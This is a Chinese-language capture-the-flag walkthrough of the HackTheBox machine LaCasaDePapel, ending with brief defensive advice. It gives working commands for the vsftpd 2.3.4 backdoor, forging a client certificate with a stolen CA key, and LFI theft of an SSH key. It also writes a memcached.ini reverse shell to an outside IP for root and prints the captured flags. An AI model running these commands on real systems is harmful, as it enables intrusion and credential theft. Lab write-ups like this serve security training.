[Meachines] [Easy] LaCasaDePapel vsftpd 2.3.4 backdoor+CA证书+LFI+SSH私钥登录+nodejs-ini文件命令注入权限提升
字数 1128 2025-08-19 12:41:26
LaCasaDePapel 渗透测试教学文档
1. 信息收集阶段
1.1 目标识别
- IP地址: 10.10.10.131
- 域名: lacasadepapel.htb (需添加到/etc/hosts文件)
- 开放端口:
- 21/tcp: vsftpd 2.3.4
- 22/tcp: OpenSSH 7.9
- 80/tcp: Node.js (Express)
- 443/tcp: HTTPS (Node.js Express)
1.2 Nmap扫描结果
nmap -p- 10.10.10.131 --min-rate 1000 -sC -sV
关键发现:
- vsftpd 2.3.4存在已知后门漏洞
- HTTPS服务使用自签名证书
- 操作系统: Unix
2. 初始攻击向量
2.1 vsftpd 2.3.4后门利用
vsftpd 2.3.4版本存在一个已知的后门漏洞,可以通过特定用户名触发。
利用步骤:
nc 10.10.10.131 21
USER smiley:) # 注意包含笑脸表情
成功触发后会打开6200端口的shell连接:
nc 10.10.10.131 6200
3. CA证书获取与利用
3.1 获取CA私钥
在获得的shell中:
ls show $tokyo
# 发现caKey指向/home/nairobi/ca.key
echo file_get_contents("/home/nairobi/ca.key")
3.2 导出服务器证书
- 访问https://10.10.10.131
- 点击地址栏锁定图标 > 连接 > 更多信息 > 查看证书
- 导出证书为lacasadepapelhtb.pem
转换为DER格式:
openssl x509 -outform der -in lacasadepapelhtb.pem -out lacasadepapelhtb.crt
3.3 创建客户端证书
- 生成客户端私钥:
openssl genrsa -out client.key 4096
- 创建证书签名请求(CSR):
openssl req -new -key client.key -out client.csr
- 使用CA签名客户端证书:
openssl x509 -req -in client.csr -CA lacasadepapelhtb.crt -CAkey ca.key -set_serial 9001 -extensions client -days 9002 -outform PEM -out client.cer
- 转换为PKCS12格式:
openssl pkcs12 -export -inkey client.key -in client.cer -out client1.p12
- 将证书导入Firefox浏览器
注意: 如认证失败,需清除浏览器缓存和历史记录后重试。
4. 本地文件包含(LFI)漏洞利用
4.1 发现LFI漏洞
目标网站存在路径遍历漏洞,通过base64编码路径参数:
curl -k https://10.10.10.131/file/$(echo -n "../user.txt" | base64)
4.2 获取SSH私钥
curl -k https://10.10.10.131/file/$(echo -n "../.ssh/id_rsa" | base64) > /tmp/id_rsa
chmod 600 /tmp/id_rsa
4.3 尝试SSH登录
尝试使用获取的私钥登录各个用户:
for user in berlin dali nairobi oslo professor; do
ssh -oBatchMode=yes -i /tmp/id_rsa $user@10.10.10.131
done
成功获取user.txt:
7ef30a1514740ecbc77b38a8480e2f74
5. 权限提升
5.1 发现定时任务
发现memcached.ini文件,其中包含以nobody身份执行的命令:
[program:memcached]
command = bash -c 'bash -i >& /dev/tcp/10.10.16.24/10032 0>&1'
5.2 利用过程
- 确认当前用户对memcached.ini有写权限
- 删除原有ini文件:
rm memcached.ini
- 创建恶意ini文件:
echo -e "[program:memcached]\ncommand = bash -c 'bash -i >& /dev/tcp/10.10.16.24/10032 0>&1'" > memcached.ini
- 等待定时任务执行(约1分钟)
5.3 获取root权限
成功获取root shell后,读取root.txt:
e2e7ca9580fed250b1e825f068117633
6. 关键知识点总结
- vsftpd 2.3.4后门漏洞: 特定用户名触发可获取shell访问
- CA证书利用: 通过获取CA私钥可伪造客户端证书
- LFI漏洞: 通过base64编码路径参数可读取任意文件
- 定时任务提权: 利用可写的ini文件注入恶意命令
- SSH私钥利用: 获取私钥后可尝试登录系统用户
7. 防御建议
- 及时更新服务软件版本
- 限制证书私钥的访问权限
- 对文件读取功能实施严格的路径检查
- 监控系统关键文件的修改
- 使用最小权限原则运行服务